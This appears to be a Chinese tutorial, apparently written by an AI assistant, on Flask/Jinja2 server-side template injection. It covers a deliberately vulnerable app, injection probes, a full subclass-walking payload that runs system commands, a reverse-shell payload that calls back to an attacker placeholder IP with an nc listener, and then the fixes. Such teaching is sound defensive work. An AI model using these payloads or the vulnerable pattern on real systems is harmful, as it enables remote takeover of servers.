Flask SSTI(服务器端模板注入)漏洞详解与实战教学
一、 漏洞概述
1.1 什么是SSTI?
服务器端模板注入是一种严重的安全漏洞。当应用程序在渲染用户输入时,未经验证或过滤就将其作为模板代码的一部分进行解析,而非单纯的数据,攻击者便能注入恶意指令,最终可能导致服务器被完全控制。
1.2 漏洞产生的根本原因
开发者错误地将用户可控的输入直接拼接到了模板字符串中,然后交由模板引擎渲染。这混淆了“数据”与“代码”的边界。正确的做法应该是将用户输入作为“数据”传递给模板引擎进行变量替换。
1.3 涉及的技术栈
- Web框架: Flask(一个轻量级Python Web框架)。
- 模板引擎: Jinja2(Flask默认使用的模板引擎)。
二、 漏洞原理深度解析
2.1 模板引擎的工作机制
模板引擎的核心作用是实现业务逻辑(后端数据)与表现层(前端HTML)的分离。它通过特定的占位符(如Jinja2的 {{ ... }})在模板文件中标记动态内容的位置。当渲染时,引擎会用真实数据替换这些占位符,生成最终的HTML页面。
- 正常情况:
Template("Hello {{ name }}").render(name=user_input)- 用户输入
user_input被视为纯文本数据,安全地插入到{{ name }}的位置。
- 用户输入
- 漏洞情况:
Template("Hello " + user_input)- 用户输入
user_input被直接拼接到模板字符串中。如果输入包含Jinja2语法,它将被当作代码执行。
- 用户输入
2.2 从代码执行到命令执行
Jinja2模板的强大之处在于它支持复杂的表达式、控制语句(如for循环、if判断)和访问Python对象的属性。这正是SSTI危害巨大的原因。
攻击者可以通过注入的模板代码访问Python的基础对象(如字符串、列表),并利用Python的面向对象特性构建一条调用链,最终调用到能够执行系统命令的危险函数(如os.system)。
三、 漏洞环境搭建与复现
3.1 存在漏洞的Flask应用代码
from flask import Flask, request
from jinja2 import Template # 导入Jinja2的Template类
app = Flask(__name__)
@app.route("/")
def index():
# 直接从URL参数获取用户输入,未做任何过滤
name = request.args.get('name', 'guest')
# 致命错误:将用户输入直接拼接到模板字符串中
t = Template("Hello " + name)
return t.render() # 渲染模板
if __name__ == "__main__":
app.run()
3.2 漏洞验证与初步利用
- 运行上述Python脚本,访问
http://127.0.0.1:5000。 - 基础测试:访问
http://127.0.0.1:5000/?name=World,页面正常显示Hello World。 - 注入验证:访问
http://127.0.0.1:5000/?name={{ 7*7 }}。- ** payload**:
{{ 7*7 }} - 预期结果:如果页面显示
Hello 49,则证明注入成功。Jinja2执行了乘法运算,表明用户输入被解析为代码。
- ** payload**:
四、 exploitation:构建完整的攻击链
目标是利用模板注入执行任意系统命令。关键在于如何从模板的“沙箱”环境中找到并调用os.system或类似函数。
4.1 攻击链构建思路
利用Python的反射机制,通过一个已知的Python对象(如空字符串''或空列表[])逐步访问到包含危险函数的模块。
标准攻击步骤:
-
获取当前对象的类:
- Payload:
{{ ''.__class__ }} - 结果:
<class 'str'>。我们知道了这个字符串实例属于str类。
- Payload:
-
获取该类的父类(基类):
- Payload:
{{ ''.__class__.__base__ }} - 结果:
<class 'object'>。在Python中,所有类最终都继承自object类。
- Payload:
-
获取所有子类:
- Payload:
{{ ''.__class__.__base__.__subclasses__() }} - 结果: 返回一个包含大量类的列表。这些是当前Python环境中所有继承自
object的类。我们的目标是找到其中一个类,它能帮助我们获取到os模块或__builtins__(包含eval、__import__等内置函数)。
- Payload:
4.2 寻找“跳板类”
在返回的子类列表中,需要寻找一个合适的“跳板”。文章中提到了 catch_warnings 类,它是一个常见且稳定的选择。
4.3 完整的命令执行Payload
以下Payload用于执行系统命令 id 并回显结果:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
逐行解释:
{% for c in [].__class__.__base__.__subclasses__() %}: 遍历所有子类。{% if c.__name__ == 'catch_warnings' %}: 筛选出名为catch_warnings的类。{% for b in c.__init__.__globals__.values() %}: 获取catch_warnings类的初始化方法的全局变量字典,并遍历其中的所有值。__globals__是一个关键属性,它包含了函数定义时所在模块的全局符号表。{% if b.__class__ == {}.__class__ %}: 在这些全局变量中,筛选出是字典类型的对象。{% if 'eval' in b.keys() %}: 检查这个字典是否包含eval这个键。通常,这个字典就是__builtins__模块。{{ b['eval']('__import__("os").popen("id").read()') }}: 从字典中取出eval函数,并执行一段Python代码:__import__("os"): 动态导入os模块。.popen("id"): 使用os.popen执行系统命令id。.read(): 读取命令执行的结果。- 最终,命令执行的结果会通过
{{ ... }}输出到网页上。
4.4 进阶利用:反弹Shell
为了获得一个交互式的Shell,可以使用更复杂的Payload。以下是使用 python3 反弹Shell的示例:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("subprocess").Popen(["python3", "-c", "import socket,os,pty;s=socket.socket();s.connect((\\\"YOUR_IP\\\",YOUR_PORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\\\"/bin/bash\\\")"], stdout=__import__("subprocess").PIPE, stderr=__import__("subprocess").PIPE)') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
- 注意: 需要将
YOUR_IP和YOUR_PORT替换为攻击者服务器的IP和监听端口,并在攻击机上使用nc -lvnp YOUR_PORT命令进行监听。
五、 漏洞防御方案
5.1 根本方法:严格区分代码与数据
永远不要将用户输入直接拼接到模板中。应使用模板引擎的安全传参方式。
修复后的安全代码:
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
# 将用户输入作为变量n的值传递给模板,而不是拼接
t = Template("Hello {{ n }}") # 模板中使用安全的占位符
return t.render(n=name) # 通过render参数传入数据
if __name__ == "__main__":
app.run()
这样,即使用户输入 {{ 7*7 }},也只会被原样显示为 Hello {{ 7*7 }},而不会被执行。
5.2 输入验证与过滤
对用户输入进行严格的校验和过滤,例如:
- 过滤或转义模板语法特殊字符,如
{ {、} }、{%、%}。 - 使用白名单机制,只允许预期的字符(如字母、数字)通过。
5.3 使用模板引擎的安全特性
- 沙箱环境: Jinja2等引擎提供沙箱模式,可以限制可访问的函数和属性,但沙箱逃逸技术依然存在,因此不能完全依赖。
- 避免危险函数: 确保模板环境中不暴露或导入
os、subprocess等危险模块。
总结
防御SSTI最有效、最根本的方法就是 “渲染时传参” ,彻底杜绝将用户输入当作代码解析的可能性。其他安全措施应作为深度防御的补充手段。
希望这份详细的文档能帮助您透彻理解Flask SSTI漏洞。如果您有任何疑问,随时可以提出。